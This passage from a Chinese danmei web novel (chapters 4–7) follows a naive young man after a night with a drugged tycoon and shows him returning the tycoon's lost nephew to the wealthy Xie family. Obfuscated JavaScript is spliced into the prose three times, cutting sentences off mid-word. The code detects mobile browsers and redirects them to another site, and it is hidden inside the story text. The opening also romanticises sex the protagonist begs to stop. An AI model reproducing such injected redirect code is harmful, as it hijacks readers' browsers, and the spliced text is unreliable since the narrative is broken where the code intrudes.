他想逃,男人高大的身躯整个覆在他身上,不给他挣扎的空间,失控的力量也仿若幽邃洞底探出的藤蔓,缠附着将他禁锢。 江之遇开始变得乱七八糟,视线罩上一层雾蒙蒙的水汽,眼角也被逼出生理性的泪花,抽抽噎噎着求饶。 但是一点用都没有,反而引来更凶的对待。 他听到手机铃声在不断响起,门外好像有人敲门。 敲门声由一开始的试探到急促,还伴随着什么人担忧询问的声音。 江之遇头皮发麻,想要出声呼叫。 刚张开口,在走廊里看到的被灯辉照得犹如冷玉一般的手指捉住舌尖,截住他的话音。 指骨磕碰到牙关,将声音搅得断续破碎,只能听到濡湿的水声,连口腔内的空气都好像变得稀薄。 江之遇全身气力被抽空。 直到敲门声停止,门外的人好像被什么人拉开,他像濒死的鱼重获新生,身体催生出一种怪异的感觉。 痛苦不是痛苦。 反正很陌生。 让他大脑一片茫白,在接下来的时间里模糊又混乱,只能如卷进深海的一片轻羽一样,被浪潮推动着起伏。 4. 第 4 章 回忆到这里戛然而止。 后面应该是昏过去了,江之遇不太记得。 就记得从昨晚到现在,整个人都是懵的。 他其实并不是什么都不懂,没吃过猪肉,还没见过猪跑吗? 只是从小生活的山中民风简单淳朴,没接收过任何男人与男人亲密接触的信息,脑海里连“同性恋”的概念都没有。 在江之遇的认知里,接吻,拥抱,还有更亲密的行为,是相爱的男女恋人和结了婚的夫妻才会做的事情。 至于昭昭小叔和他…… 雪白肤色漫上一层红霞,江之遇脸微微发热。 应该是哪里搞错了。 男人和男人,怎么看都不可思议。 昭昭小叔一定是脑子烧坏了才会做这样奇怪的事。 算了,就当上山采草药,不小心捅进去一根树棍。 反正从小到大,他遇到的更惊险的事情都有,比起从山上悬崖踩空跌下来,这点痛不算什么。 江之遇不打算在想不明白的事情上过多纠扯,昨晚发生的事情超出了他的认知,他不是个纠结于现状的人,主要是现在一个人闷想也没有用。 当务之急,是要想办法让好不容易见到的昭昭小叔接受这个小侄子的存在。 不然,白跑一趟北城,钱也快花光了。 他抬了抬眼,望向窗外。 屋内的光线更明亮了,昨晚仓促,窗帘一整晚都没有被人拉上,这会儿落地窗映着东边天空黛影升辉的晨色,抹了层鱼肚白。 从时间上判断,应该是早上六点多钟。 糟了。 江之遇想到什么,一下子从床上坐起身。 动作幅度太大,牵动到全身筋骨,他忍不住嘶了声,嗓子哑了,又干又涩,他才听出来。 身旁男人似是听到动静,沉睡中的眼皮动了动,过了会儿,缓缓睁开眼。 不知道是清晨太阳还未完全升起,光线太过浅淡的缘故,斜射进来的光笼了一圈蒙蒙的圆晕,近乎透明,将第一眼看到如冷刃出鞘的人照出柔和的错觉。 那双狭长冷鸷的眼眸也拓进几分沉静,微微敛着,带一丝惺忪的茫然,像丛林里不小心唤醒的驯兽,很具有欺骗性。 江之遇就被这副乖顺的模样迷惑了一瞬,但很快记起他昨晚用拆吃入腹的眼神钉人时的狠厉,腿下意识并紧。 “你、你醒了?” 谢津延偏头,望向声音的来源。 盯了眼前人许久,眸中迷雾散去。 “你打算缠着我到什么时候?” 江之遇委屈:“你不肯认昭昭,还捅了我一晚上,我不能就这么算了。” 谢津延:“……” 那种大脑里有什么炸开的感觉又来了。 他一言不发地从床上起身,径直去了淋浴间。 等冲完澡,围了浴巾出来,从一地狼藉中找到自己的手机。 “昨晚的事情你如果不想就这么算了,正好,我让我的助理找律师和你谈。” 谢津延还从来没有被人威胁过,虽然昨晚自己失控得厉害,打破了他这么多年的自制,可正因为如此,他要弄清楚这人到底怀有什么目的。 钱? 还是背后有人指使。 商海诡谲,充满了尔虞我诈,他不得不慎重些。 手指忽然顿住。 众多打来的电话和被忽视的消息里,他看到了黎清叙发来的一大堆信息。 [抱歉啊阿延,昨晚是我弟弟不懂事,他一直对你……唉,都怪我们把他宠坏了,也是我这个做哥哥的没好好管教他。] [不过你放心,我已经狠狠教训过他了,酒店方面也打过招呼,不会有人传出去。] [就是我有点好奇,昨晚你屋子里的人是谁?你不是对这方面没兴趣吗?比岭生还像佛门戒子?] 谢津延脸上表情一时间变幻莫测。 他按下手机屏幕,抬起头。 天光流泻而下,撑手坐在床上的人肤色雪白,骨骼细匀漂亮,全身上下印着暧昧的咬痕。 眼神还是那样懵懂,和昨晚在月色下一样。 看到自己看他,顿时充满警觉,同时用那声绵软的南地口音不解问道:“你刚才说要让律师和我谈什么?” 谢津延默了默。 “……和你谈赔偿费,你想要多少赔偿都可以。” “因为你昨晚对我做那样的事情?” 谢津延抿着薄唇,算是默认。 江之遇从床上下来,去找自己的衣服。 腿站不稳,有些打颤。 他咕哝了声:“是该赔偿我损失费,你把我弄得这么难受,比打我一顿还奇怪,嘶——好黏。” 伸手抹了抹。 谢津延望着他旁若无人的动作。 雨过天晴后的阳光清澈透亮,铺进来的光雪沫一般,斑驳光影一曳一晃,那双笔直纤长的腿上蜿蜒的银亮水痕也从眼前一晃而过。 谢津延神色古怪。 视线停留了几秒,移开。 然后听耳边吴侬的声音继续絮叨:“你以后别这样了,发烧就去看医生,还好……”这道声音停了下,“还好我是男人,看在你是昭昭小叔的份上,昨晚烧糊涂了神志不清,分不清性别,我不和你计较太多。” 他似乎还没弄清楚昨晚究竟是怎么一回事。 而且一口一个“昭昭小叔”,认定了自己和他口中那个孩子之间的叔侄关系。 谢津延拧眉,想问他到底是什么人。 这样一副懵懂无知,状况之外的模样到底是装的还是怎样。 刚要张口,就见眼前的男人蹲在地上捧着那身酒店统一的侍应生制服自言自语,一脸忧忡。 “扣子绷了好多颗,没法穿了。” “他怎么这么粗鲁,把衬衫都扯坏了。” “完了,我消失了一晚上不说,还把衣服弄成这样,陈经理一定会让我赔钱,这衣服看着就很贵,昭昭小叔刚才说给我赔偿,不知道能不能把衣服也赔一下。” 谢津延:“……” 要问的话暂时搁置,谢津延拨通助理的电话,让宋秘书送两套干净的衣服过来,叮嘱:“另一套男款。尺码……” 顿了顿,脑海里闪过被他裹在身下的纤细身躯,整个骨架和手掌都比他小一圈,轻易就能圈住和握住。 “和你上大学的弟弟差不多。” 电话那头,宋秘书谨记上司交代的,脸上表情沉肃,一副无论发生什么事都不崩于色的模样。 可只有他自己知道,他现在的内心有多震动。 昨晚黎家小少爷成人宴,他的顶头上司因为宾客疏忽泼了一身酒水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136032|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,离席去贵宾接待室换衣服,之后就再也没有现身。 宋勤拨了许多电话都没有打通,只好去顶层找谢总,却不期然撞到不知道什么时候离开宴会厅的黎小少爷在敲贵宾室的门。 没多久,黎家大少爷也过来了,将黎小少爷拉开。 宋勤看他们兄弟二人发生争执,又瞥一眼隐隐传来动静的房门,三言两语间,几乎是立刻明白了事情的原委。 毕竟黎家小少爷每次看到谢总的眼神都是那么炽热,爱慕的心思遮都遮不住,也只有一心扑在已故兄长留下的谢氏重担上的谢总没有察觉。 就是没想到黎小少爷平时看着可爱乖巧,做的事这么出人意料。 更没想到他那位性冷淡的上司会有把持不住的时候,对方还是一个男人。 是什么人? 宋勤挂断电话,满肚子疑惑,却还是第一时间按照嘱咐把衣服送来了酒店。 此时的酒店经过昨晚黎小少爷场面盛大的成人礼,归于一片宁静,专为贵宾打造的顶层长廊上更是寂静无声。 宋秘书在门口站定,敲响房门。 很快,房门打开,他那位无论何时都着装整肃,连衣领都没有半分褶皱的上司只围了条浴巾就出现在眼前,身上抓痕暧昧。 宋勤愣了愣,还是第一次看到上司这副模样。 不过他到底是个很有职业素养的秘书,没让这份惊讶的痕迹有过多显露,不然也不会历经谢氏集团两任掌舵者,坐到总助的位置,成为领导的心腹助手。 宋秘书把衣服递过去,眼神一点没有乱瞟,随后默默守在走廊外面。 大概过了五分钟,房门再次打开。 这一次,他们眼中的总裁恢复了平日禁欲疏冷的模样,包裹得一丝不苟的西装,近乎苛刻地用手整理领带。 一个身影在后面晃了晃。 光线漏进一束在走廊上,空气中浮动着细小的颗粒状的银屑,说不清是什么,就觉得仿佛光化作了实质,变成白日里的萤火,得以看清走过来的人的面容。 那或许是宋秘书见过的最漂亮的男人了。 十分无害的一张清隽无辜的脸,微肿的唇瓣似晚樱。 很少有人的眼睛能这么纯粹清透,像琥珀,砂金,尽管他知道有一部分是太阳光将瞳仁照得很浅的缘故。 来时,宋勤路过一片老城区。 那条街上种了许多悬铃木和不知名的花树,清晨的风摇动绿影,旁边公园的湖面细水粼粼。 一只飞鸟倏忽掠过,几片花叶飘落。 车窗前的景象油画般七彩斑驳。 宋勤觉得眼前的男人就像那只飞鸟,不知从什么地方飞来,只知道翅膀扇动过的地方,气流都沉淀出了记忆。 他忽然有些明白他们的上司为什么会把持不住…… “这是我的助理,你有什么需求和他谈。”谢津延整理好领带,冷声道。 江之遇望向守在门口的笔挺身影,认出是之前蹲守谢氏集团大楼时,从他面前匆匆经过的那个西装革履的男人。 “昭昭的事情也可以和他谈吗?”江之遇问。 宋勤听他开口,微微一怔,似乎没想到这样一个漂亮的男人说话会带口音,有点反差感。 谢津延轻蹙了下眉,半晌,对宋秘书,打发的口吻:“你去查证一下他说的事。” 5. 第 5 章 谢津延留下这句话就离开了。 他这几日在国外谈成了一个重要的合作项目,眼下还有很多事情要回公司部署。 至于昨晚,只是个意外。 谢津延不会因为“一个意外”影响自己半分,也不相信这个男人口中说的事,准确来说,是不抱有期待。 宋秘书目送他离开,转而看向眼前这个和上司春风一度的漂亮男人。 “我叫宋勤,谢总事务繁忙,您的事情和我说就可以了,有什么要求也可以直接提,我会代为转达。” 宋秘书一身职场精英范儿,说话一板一眼,面瘫脸,语气却很温和。 江之遇终于找到机会,哪里顾得上自己刚才口口声声说的赔偿,连忙将自己此行的目的重述了一遍。 宋勤听了,有些惊讶。 “您是说,您是我们谢总走失小侄子的养父,带他来北城认亲的?” 江之遇重重点头。 总算有人将自己的话听进去了。 宋秘书觉得不可思议。 他还以为,这只是一桩帮上司解决一夜情对象的工作,怎么还涉及寻亲? 他的疑虑被江之遇看在眼里。 江之遇知道口说无凭,便带着宋秘书离开接待室,要去楼下从领班那里拿回手机给宋秘书看自己拍的照片和视频,好让对方知道自己没有撒谎。 没想到刚出电梯门,迎面撞见一早在酒店巡店的陈经理。 两人对视片刻,陈经理认出了这是昨天自己同意试岗的临时工。 “你昨晚去哪里了?” 陈经理一脸怒容,劈头盖脸就是一通数落。 江之遇涨红着脸,不知道要怎么解释昨晚的事情,总不能说他莫名其妙被一个男人抓着捅了一晚上。 最后是宋秘书上前解围,耳语了些什么,陈经理立刻态度大变。 江之遇取回了自己的衣服和手机,连声向陈经理道谢和道歉。 前者为他昨天留下自己,给自己一个工作的机会,得以见到昭昭小叔。 后者为自己工作中失职,尽管一开始自己就“目的不纯”。 陈经理摆摆手。 算了,扣除一部分工资这事儿就算过去了。 何况能出动那位谢总身边的助理为他说话,听起来和谢氏的掌权人有什么牵扯不清的关系,这个从乡下来的青年原来并不是自己第一眼看到的那样简单。 就是可惜,这名青年手脚麻利,听话乖巧,人也长得干净好看,陈经理还想把他留下来培养一番的。 江之遇跟着宋秘书走出酒店,又向宋秘书说了谢谢,感谢他替自己解围。 宋勤:“没什么,都是我应该做的。您跟我说要看的小少爷的照片在哪里?” 江之遇连忙打开手机,找出自己拍的视频和照片。 几乎是视线落在照片上的第一眼,宋秘书的面瘫脸上就出现了难以遮掩的表情变化。 那是一个七八岁的男孩,身形瘦小,穿着洗得磨损发旧的衣服,和周遭破败简陋的环境融为一体,看起来灰扑扑的。 换作任何人来看,都会觉得这不过是贫民窟里长大的一个小孩,除了模样精致了些,小小年纪脸上就有了帅气的痕迹,不会让人想到别的。 可宋勤却死死盯着手机屏幕。 在谢氏集团供职这么多年,先是跟在前任总裁身边,接着为现在的谢总做事,他比谁都要熟悉谢家小少爷。 那双遗传自谢家和前任谢总如出一辙的眼睛,同夫人相似的微鬈的栗色头发,还有看人时的眼神。 不会认错的。 无论如何都不会认错。 宋秘书一时间不知道要怎么形容自己的心情。 自从谢家宠成眼珠子的小少爷走失,谢家动用了所有可以动用的人力和财力寻人,可小少爷就仿佛人间蒸发了一样,怎么都找不到。 夫人因此郁郁寡欢,和丈夫在一次找人返程的途中不幸发生车祸身亡。 这之后,小谢总匆匆接管谢氏集团,三年来,从未放弃过寻人,也因此给了许多别有用心的人可趁之机。 可宋秘书万万没有想到,有一天前来寻亲的人中,竟然真有人带来了失踪已久的小少爷的消息。 “这个孩子现在在哪里?” 宋勤极力克制住内心的颤动,问这个自称小少爷养父的男人。 江之遇给出一个地址:“我们现在暂时住在这家旅馆。” 宋秘书立刻驱车载着江之遇前往他口中所说的那家旅馆。 一路上,他的心情都难以平静。 很快,他们到达了目的地,在一处警局旁边的老街上,店面并不起眼,收拾得却很干净。 江之遇带着他来到二楼,打开楼道尽头的一间房间。 房门一打开,一个小小的身影便冲了过来,一头扎进江之遇的怀里。 “爸爸,你去哪里了?怎么一个晚上没有回来,你再不回来我就去警局报警,让警察叔叔找你了。” 小男孩声音带着哭腔,听起来十分担心。 江之遇连忙摸了摸他的脑袋,十分愧疚地安抚他:“抱歉啊,昭昭,爸爸昨天找到了一份工作,忙到很晚,不小心在工作的地方睡着了。” 这正是早上江之遇醒来特别担忧的事情。 打定主意混入酒店蹲守昭昭小叔,这一次,江之遇没有带上小孩,怕自己分不出时间和精力照看他,不得不把他暂时留在了旅馆,千叮咛万嘱咐听不到自己的声音,不要给任何人开门。 原本以为自己很快就可以回来,没想到发生那样的意外,他睁眼醒来就是第二天清晨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136033|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 还好,江之遇仔细查看小孩,昨晚一个人在屋子里,毫发无损,没有出现什么问题。 “爸爸,我没事,不用担心。”叫昭昭的男孩虽然只有八岁,但十分早熟懂事,似乎看出了养父心里在想什么,除了刚才带一点担忧的哭腔,很快恢复不同于同龄小孩的沉稳,反过来安慰年长者。 “我听你的话一直待在屋子里写暑假作业,没有乱跑,还给自己泡了面吃。你刚才说找到了一份工作忙到很晚?爸爸,是不是很累?” 男孩犹豫了一下,拉了拉江之遇的衣角:“要不我们回去吧,实在找不到我的亲生父母,我也可以和你两个人一起生活。” 五岁那年被拐走,遭遇人贩子长期的打骂和虐待,男孩身心受到创伤,对以前的家人只剩下一些模糊的记忆和片段,只知道自己是被拐走的,有个小名叫昭昭。 后来人贩子出了事,他趁机逃了出来,被善良的养父收养。 两人在山里相依为命,养父答应一定会帮他找到真正的家人,并在一个月前真的打听到了他的情况。 原来他本名叫谢寻昭,听说是谢氏集团走失的小少爷。 那时候他们村庄刚下了一场百年难遇的大暴雨,洪水冲垮了山村,也冲毁了他们的房屋,养父为了救他还险些丢了性命。 好在养父昏迷了很久,最终苏醒过来,之后就揣着为数不多的救济金带他来了北城。 可是,这么长时间过去了,一点结果也没有。 眼看着养父每天东奔西跑,为了赚取留在北城的生活费,昨天累的一晚上都没有回来,走路一瘸一拐,脸色看起来也不太好。 如果注定找不到家人,他还不如和养父一起回乡下过平淡的生活。 宋勤看一大一小互相担心安慰,从进门起就忽视掉自己这个存在,宋秘书不仅丝毫没有在意,反而十分激动。 如果说光看照片就已经确定了八九分,那么现在亲眼看到这个孩子,他确信无疑就是三年前失踪的谢小少爷。 只是听到小少爷说要回乡下,宋秘书终于忍不住出声阻止:“小少爷,你们不能回去。” 谢寻昭抬起头,看向门口站着的西装革履的男人,在养父面前孩子模样的他顿时换上警觉的表情,小兽一样瞪着这个跟着养父一起回来的陌生人。 “你是谁?” “昭昭,他是你小叔叔的助理。”江之遇拉着男孩的手,走到宋秘书面前,耐心向他解释这个人是谁,还高兴地告诉他,“你很快就能见到你真正的家人了。” 谢寻昭听养父这样说,褪去眼里的警惕,却还是一眨不眨地盯着对方。 接下来,宋勤带两人离开旅馆,去DNA库做了基因比对,比对结果彻底证实了男孩的身份——真真切切就是谢家找寻了这么多年的小少爷。 6. 第 6 章 谢老夫人得知这个消息,连忙从寺庙赶了回来。 避居后山的谢老先生也第一时间放下手中鉴定古董的工具。 彼时谢津延正在公司开股东大会,听到助理的汇报,脸上表情错愕一瞬,随后立刻驱车往家赶。 “爸爸,这里真的是我原本的家吗?” 浮荡着雪团一样云朵的蔚蓝苍穹下,江之遇和养子站在一幢奢华又梦幻的庄园式别墅前。 远处群山苍翠,建筑后方隐隐可见一处闪烁着熠熠金光的湖面,门前则是一片特别漂亮、占地面积广大的花园。 现在正值夏季,昨日一场骤雨洗去夏日的闷热与尘灰,此刻花园里花枝摇曳,绿叶翠色欲滴,还沾着没来得及蒸发滚落的雨水,像是一不小心闯入了童话世界里的城堡。 谢寻昭不敢相信这是自己的家。 江之遇从小生活在山里,也是第一次见到这样的场面,尤其是花园旁边还有一个停机坪,上面停着一辆直升飞机。 “小少爷,这里真的是你的家。”不等江之遇回答,早早出门迎接的赵管家接过话。 他指了指花园右侧的一座秋千:“你还记得吗,你以前特别喜欢在那边荡秋千。” “还有树上的木屋,你总喜欢在那里和我们玩捉迷藏,怕少爷和夫人不同意,还偷偷在树屋里养了只流浪猫。” 赵管家说着说着眼眶有些湿润,似乎回想起一些美好又悲伤的事情。 谢寻昭乌黑的眼眸茫然眨了眨,望着花园里的秋千还有粗壮榕树上搭建的木屋,又望向两鬓斑白面容慈蔼的管家伯伯,脑海里隐隐闪过某些熟悉的画面。 两人在赵管家的带领下穿过花团锦簇的花园,来到别墅中。 没多久,谢老夫人和谢老先生就回来了。 一个身上还染着寺庙里的香火气息,一个头发从山上下来被风吹得乱糟糟的。 看见失而复得的小孙子,谢老夫人一把抱住男孩,激动得话都说不完整:“是昭昭,真的是昭昭。” “好孩子,我们终于找到你了。” 谢老夫人热泪盈眶,手颤抖地抚上孙子瘦小的脸庞,不敢相信又满眼疼惜。 就连性格一向沉敛,这几年为平复失去大儿子一家三口的伤痛而避居后山的谢老先生都无法抑制欣喜的心情。 夫妻俩围着小孙子极尽关爱,嘘寒问暖,问东问西,过了许久,才从失而复得的喜悦中缓过情绪来。 谢老夫人抹了抹湿润的眼角,拉住将孙子送回来的江之遇:“之遇是吧?谢谢你照顾我们家昭昭,也谢谢你把他送回我们身边,我们一家人真不知道要怎么感激你。” “不用这样说,老夫人,能帮昭昭找到他的亲人我也很为他高兴。”江之遇看到流落在外的真少爷终于和家人团聚,心里十分开心。 不枉他千里迢迢从乡下来到北城,这段时间一直努力打听谢家人的消息,不放过任何一个蹲守昭昭小叔的机会。 虽然昨晚发生了那样的意外……但总算结果是好的。 把真少爷送还给他的家人,免去十年贫苦生活,也是为了完成原主一心想要帮养子找到他真正家人的心愿。 接下来,江之遇就可以安安心心地在这个世界开启自己的生活,没了牵念。 这样在脑海里计划着接下来的日子,大门忽然被推开,一个高大峻拔的身影逆着光线快步走了过来。 不是别人,正是听到助理的汇报从公司匆匆赶回来的谢津延。 谢津延也是第一时间来到男孩的面前,停住脚步,漆黑的眸子定在瘦小的身影上,似乎在审视什么。 他气场本就冷鸷,看人的时候会让人控制不住地脊背生寒。 谢寻昭下意识地往养父身边凑了凑,去拉江之遇的手。 下一秒,被一个怀抱拢住。 谢津延蹲下身,宽大的手掌罩在男孩的后脑勺上。 那双被自己咬破的薄唇紧抿着,不发一语,压抑着什么。 可江之遇却从这个沉默的身影上看到了万千情绪和温情。 原来,他也有这样温柔的一面。 谢家找到了失踪三年的小少爷,上上下下都洋溢着开心和喜悦的氛围。 赵管家张罗着厨房准备晚餐,他看到小少爷瘦小的脸颊就心疼,说什么也要让厨房做很多好吃的把小少爷养一养。 还有江先生,历经千辛万苦把小少爷送回来,这么大的恩情,一定要好好招待他。 “之遇,来,坐到我身边。” 夕阳在远处的山峦沉下最后一束橙晖时,谢家佣人在餐厅布置好了晚餐。 这大概是谢家三年来最喜庆的一天。 自从谢家小少爷失踪,大少爷夫妻俩出车祸去世,谢老夫人就沉迷上了去寺庙礼佛,似乎这样,就能为家人求得平安顺遂,能够早日找回小少爷。 谢老先生隐居后山,终日与古董为伴。 小谢总也常常待在公司。 往日热闹的别墅一度陷入了沉寂之中。 可今天不一样了,因为小少爷的找回,阔大冷清的宅子重新又有了生气。 谢老夫人招呼江之遇坐下,望了眼身旁的小孙子,又望了望眼前全家人聚集在一起的景象,眼角不自觉又开始泛起泪花,感觉自己像做梦一样。 江之遇不太自在地在长桌前落座,屁股有点疼。 他原本打算把昭昭送回谢家就离开的,可谢老夫人和谢老先生坚持留他吃晚饭,说还有很多昭昭的事情要向他了解。 江之遇体谅两位老人疼爱孙子的心,盛情难却下便打算吃完晚饭再走。 一桌人围着餐桌用餐,谢家是豪门大家,祖上百年基业,可身上一点架子都没有,用餐时也没有很多规矩,反而十分亲切。 谢老夫人一个劲儿地往江之遇碗里夹菜。 “不知道你的口味,只让厨房临时做了些南方菜,希望你能吃得习惯。” “谢谢老夫人,很好吃。”江之遇第一次受到这么盛情的款待,有些受宠若惊。 没想到昭昭小叔脾气那么坏,爸爸妈妈人却这么和善,一家子包括赵管家还有家里的佣人都对他十分友好。 他往嘴里送着谢老夫人给他夹的菜,眼睛悄悄往坐在他对面的昭昭小叔瞥了一眼。 从下午匆忙赶回来,男人就几乎沉默不语,除了对他说了些“谢谢帮我把大哥大嫂的孩子带回来”一类的话,没怎么说别的。 其实说别的也很奇怪。 至少江之遇面对眼前这个早上才一起光裸着从同一张床上醒来,昨晚还发生过那种肢体接触的男人,总感觉哪里怪怪的。 而不知道是不是自己偷看的目光太过明显,对面像是有所察觉似的,原本在热闹的餐桌上安静用餐的人忽然抬起头,黑沉沉的眼眸直直看过来。 江之遇连忙避开眼,被那样的眼神盯着,感觉屁股又开始一抽一抽地疼。 “对了,之遇,听宋秘书说你是早上在星若办生日宴的酒店找到他,然后把昭昭的事情告诉他的?” 谢老夫人一下午都拉着江之遇的手了解小孙子三年来的遭遇和生活,这下才想起宋秘书打来电话汇报的内容。 江之遇如实回答:“是的,但其实昨晚——” “爸,妈。”一直寡言少语的谢津延开口,“你们问了江先生一下午问题,是不是该让他稍微喘口气?” “说的也是。”谢老夫人经儿子提醒,歉意笑了笑,“都怪我心情太激动了,总忍不住想多了解一些昭昭的事。之遇,你快多吃点,你是我们谢家的大恩人,千万不要跟我们见外。” 江之遇摇摇头:“您不要这样说,老夫人。有什么想了解的,您随时可以问我。” “好,好。”谢老夫人眼睛弯成了月牙。 谢家吃了三年来最其乐融融的一顿晚餐。 吃完饭,江之遇问赵管家自己的行李放到哪里去了,他打算趁天色还不是太晚从谢家离开,去之前的旅馆过一晚,明天计划离开北城,回乡下去。 他为此还在客房把宋秘书早上带给他的衣服换下,那身做工细致的西装一看就价值不菲,江之遇向来是个老实本分的人,不喜欢占人便宜。 而且这么昂贵的衣服万一被弄脏弄坏了,他也赔不起。 换上自己清爽舒适的棉麻衬衣,江之遇打开客房的门,准备和昭昭还有谢老夫人、谢老先生道别。 刚打开门,就看到一道高大的身影堵在门前。 江之遇愣了愣,看清来人:“昭昭小叔?你怎么会在这里?” 谢津延被清幽夜色拓进几分深邃的眼眸微微垂敛,视线在他不知什么时候换上的土里土气的衣服上落了几秒,又瞥一眼他脚旁看上去皱巴巴的条纹编织袋,嗓音低淡道:“我有几句话想对你说。” “什么话?”江之遇不明所以。 谢津延眉心微蹙,神色复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“是啊,之遇,你不用着急回去。”身后的谢老夫人开口道。 她心里对这个把小孙子送回来的恩人十分感激,半日相处下来,也对这个漂亮孩子敦厚温实的性格喜欢得紧,正打算晚点和丈夫还有儿子商量要用什么样的方式报答他,怎么能让他就这么离开。 “现在时间不早了,你一个人出门在外不太方便。你不是说老家的房子被洪水冲垮了吗?那你回家了住哪儿?” “我……”江之遇被问住了。 这确实是他接下来要考虑的问题。 原主是和昭昭两个人相依为命的,那场暴雨冲毁了他们唯一赖以生存的房屋,也夺走了原主的生命。 江之遇挣扎着从这具和他一模一样的身体里醒来,感念原主给了自己重生的机会,因此将昭昭视为自己亲生的孩子,努力照顾昭昭,帮小孩找到真正的家人。 可是,如果这个时候回去,一时半会儿还真没有可以遮风避雨的地方。 “这样吧,之遇。”谢老夫人似是看出他的难处,劝慰道,“我们家空房间多,昭昭失踪的这段时间托你收养照料,叫你一声养父,你也算我们半个儿子。不如先在我们家住下,之后再做打算,你看怎么样?” “这……会不会太麻烦你们?”江之遇犹豫道。 谢老夫人笑了笑:“怎么会,你留下来我们高兴还来不及,怎么会觉得麻烦?何况昭昭也舍不得你,你就当多陪陪他,我们家冷清了这么久,今天总算热闹了些。” 说着,看向一旁不知为何沉郁着脸默不作声的儿子,厉声道:“阿延,你还杵在门口做什么?之遇要走你也不拦着他,用餐时也不怎么和他说话,你就是这样对待我们家的恩人的?” 谢津延:“……” “我也是刚知道他要离开。” “那你现在去和赵叔说,让他给之遇专门收拾一间屋子出来,这段时间就住在我们家。你大哥不在了,我下午听之遇说比你年长几岁,按辈分你要称呼他一声兄长,你以后不能用这样怠慢的态度对待你的兄长。” 年长几岁? 兄长? 谢津延神色一怔,不可置信地望着眼前眸光清透,看上去像入城大学生一样的漂亮男人,怎么也不敢相信他比自己年长几岁。 还有,兄长? 让他称呼昨晚才一起上过床的人兄长? 7. 第 7 章 谢津延俊逸脸庞上的表情可谓精彩,从昨晚开始,发生的事情一件接着一件超出他的掌控和料想。 江之遇也是一讶,连忙摆手:“不用不用,老夫人,你们不用对我这么客气。” “之遇,你不要有心理负担。”谢老夫人没有察觉出两个人之间的异样,握住江之遇的手拍了拍,“你安心在我们家住下,至少今晚不要着急离开,一切等明天再说。” “爸爸,你别走好不好,我舍不得你。”谢寻昭紧紧抱住养父,说什么也不要和他分开。 江之遇对上小孩央求的眼神,又望了望谢老夫人,心一软,只能答应先不走了。 一家人从上到下都十分高兴,喜气洋洋。 只有谢津延心情很是复杂。 他交代赵叔把江之遇要住的屋子收拾出来,回到书房,准备处理白天从公司离开没来得及处理的工作以及与小侄子失踪这些年相关的事情。 还有……怎么应对这位刚和他发生□□关系马上就住进他家的小侄子的养父。 手机亮了。 是发小群里的消息。 [阿延,下午看到伯母匆匆忙忙赶回去,家里没什么吧?] 幽寂古刹的一间禅房里,一个颀长的身影被轻微晃动的烛火映在古朴的窗棂上。 寺外山影树影交掩,蒙着一层月辉,分明是夏季,却衬得那道身影和手腕上的佛珠清清冷冷的。 谢津延瞥一眼手机,散漫扯下领带,回复简短:[昭昭找回来了。] [什么?] 仿佛一块石头扔进平静的湖面。 正趁着休息时间歪在接待室沙发开一把游戏的祁焰猛地坐起身。 他有着一副极为帅气的长相,眉眼飞扬,意气勃发。因为刚结束一场国际巡回演唱会,舞台妆未卸,招摇的蓝发上还沾着台上散落的亮晶晶的碎片。 碎片冷芒映着头顶倾泻而下的灯光,反射到他坐直身体时不小心挑到手指上的长长饰链和圈在中指和尾指的戒指。 璨光烁动,披了层星辉一般,整个人闪耀夺目到了极点。 眼下,听闻发小失踪多年的小侄子找回,祁焰顾不得游戏里响起的击杀声和眼前变黑的屏幕,飞快切出界面打字。 [昭昭真的找回来了?我不会是眼花了吧?还有,你确定这次没有弄错?] [已经验过DNA。]谢津延修长手指敲击屏幕,狭长冷厉的眼眸在提到小侄子时不自觉镀上一抹柔和。 [呜呜呜~]沙发上的青年发出一声呜嚎,在群里狂甩一连串“汪汪大哭”的表情包,[总算找到昭昭了,我就说昭昭一定会找到的,呜呜呜。] [在哪里找到的?还好吗?]霍岭生缠在冷白腕骨上的佛珠擦过古香古色的红木案几。 他一手整理着案上的手抄佛经和白日从石碑上拓下的碑文,另一只手按下语音键,声音也是清清冷冷的。 谢津延回了声还好,没提江之遇,只说被山里一个好心人收养照料,之后找到他们送了回来。 [那我要赶紧回国了。]祁焰是家里的独子,和这几个人从小一起长大,感情深厚。 对他来说,发小的兄弟就是自己的亲兄弟,更别提谢大哥以前对他特别好,把他当作自己的弟弟一样宠。 谢大哥生前最大的心愿就是找到失踪的儿子,如今昭昭终于被找回谢家,他无论如何都要回国一趟。 [对了,老黎呢?平时不是数他话最多吗?怎么到现在一声不吭?] [还有,昨晚星若的成人礼,怎么没有人给我发视频?] [抱歉,家里出了点状况。]说话间,一个略有些骚包的头像冒了出来,斯文俊美的男人站在弟弟的房门前,手里端着一碗粥,镜片后风流多情的桃花眼写满了无奈,长发也有点散乱。 祁焰连忙问道:[怎么了?] 黎清叙轻微叹了口气:[一言难尽。] 